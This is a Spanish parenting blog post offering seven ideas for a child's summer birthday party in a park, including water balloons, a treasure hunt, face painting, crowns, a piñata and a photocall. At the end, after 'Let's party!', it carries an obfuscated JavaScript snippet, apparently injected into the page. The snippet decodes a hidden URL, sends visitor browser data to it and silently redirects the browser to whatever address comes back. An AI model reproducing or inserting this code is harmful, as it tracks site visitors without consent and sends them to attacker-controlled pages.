Celebramos el quinto cumple de mi hija mayor ahora en julio, aunque realmente su día es en agosto, pero intentamos así que la pobre pueda compartir este momento con sus compis de colegio antes de que estos, y el resto de amigos del barrio, se vayan de vacaciones.

Eso es lo malo de nacer en los meses de verano, que las celebraciones se complican, o quizás como en el caso de mi hija, las tiene por partida no doble, sino triple o cuadrúple: en Madrid, en el pueblo, en la playa… Por eso, quizás he intentado que este año, el primero que montamos un sarao (el resto me había medio escaqueado) fuese especial.  A mi marido y a mí se nos ocurrió hacerlo en un parque, una idea que quizás no es muy original, pero para aquellos que lo hagáis en un enclave parecido y queráis saber cómo hacer que sea más divertido aún, aquí os traigo algunas ideas. Ah, ¡cualquier sugerencia desde el otro lado de esta pantalla será bien recibida!

1. Juegos con agua
No hay cumpleaños o evento con solecito y calor que no tenga presente los juegos de agua: desde pistolas, lanzachorros o flus-flus para resfrescarse uno mismo y/o empapar a los otros, hasta los clásicos globos. Pero lo mejor es lo que descubrí el otro día en una tienda de «chinos»: un paquete de 37 globos que van con un aparato que lo enganchas a una manguera o grifo y se llenan todos a la vez. ¿No es fantástico? Nosotros lo hemos probado y es genial, ¡no sé cómo no se le había ocurrido a alguien antes! Y todo por 1,50 euros.

2. En busca del tesoro
Si en algún momento se cansan del agua, que no lo creo, o en la fiesta que organizas el tiempo no acompaña, siempre puedes recurrir a esta iniciativa. Seleccionas algo de valor para los peques, como puede ser una pelota, y lo escondes en algún lugar que no esté muy a la vista. Divididos en grupos, tienen que intentar encontrarlo, pero antes, y lo más importante, les has tenido que dibujar en un papel -vale, puede ser una servilleta- un mapa con indicaciones, para que la misión sea mucho más atractiva. Aquí no importa quién gana, solo que se lo pasen bien.

3. Canción del cuadrado
Lleva muchísimos años, pero yo la he descubierto recientemente y me ha gustado tanto que no he podido dejar de pasar la oportunidad de comentarlo en este post. Engancha a niños, pero sobre todo a mayores, así que prepárate para bailar y cantar la canción del cuadradado.

4. Pintacaras
«Yo de Elsa», «Yo de Ana», «Yo de Hulk», «Yo de Spiderman»… Son los cuatros personajes más demandados cuando en un cumpleaños hay alguien que se atreve a pintar caras, por eso he buceado por internet para coger ideas, y la verdad, es más sencillo de lo que pensaba. El material lo puedes conseguir en cualquer tienda tipo Dideco o Imaginarium y el modelo de maquillaje lo puedes pillar escribiendo en youtube: pintacaras y el personaje que los peques te pidan. Anímate y ¡conviértete en toda una artista!

5. Corona para todos
Y si los pintacaras triunfan, ni que decir  las coronas. La del cumple suele llevar una, porque es lo que toca en estos casos, pero creo que si preparas algunas para los invitados pueden agradecértelo mucho. Es muy sencillo, tienes que hacer acopio de cartulinas, una grapadora, algún boli para poner el nombre del niño u otro motivo y pegatinas variadas para que ellos la decoren a su gusto.

6. Momento piñata
Si no llegamos a tener una piñata este día creo que nos hubiésemos convertido en los peores padres del mundo. Compramos una este otoño para una fiesta que montamos con motivo de Halloween y desde entonces nos ha repetivo una y otra vez que quería una para su cumple. Y es que el momento en el que su padre se sube a una silla/mesa y ella y sus amigos cogen las cintas para tirar con fuerza es de lo más divertido.

7. El photocall
Y como siempre nos gusta guardar un recuerdo de un día tan especial, la idea de montar un photocall es más que necesario en cualquier evento que se precie. Puedes hacerte con algún kit en tiendas como Alehop o Tiger, y ya solo te queda ir ensayando posturas, encontrar tu mejor perfil y gritar eso de Pa-ta-ta.

Esto ha sido lo que hemos preparado con motivo del quinto aniversario de Elena, pero está claro que muchas de estas propuestas sirven para cualquier otra fiesta de verano, invierno, otoño o primavera. Let’s party! var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = «»; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}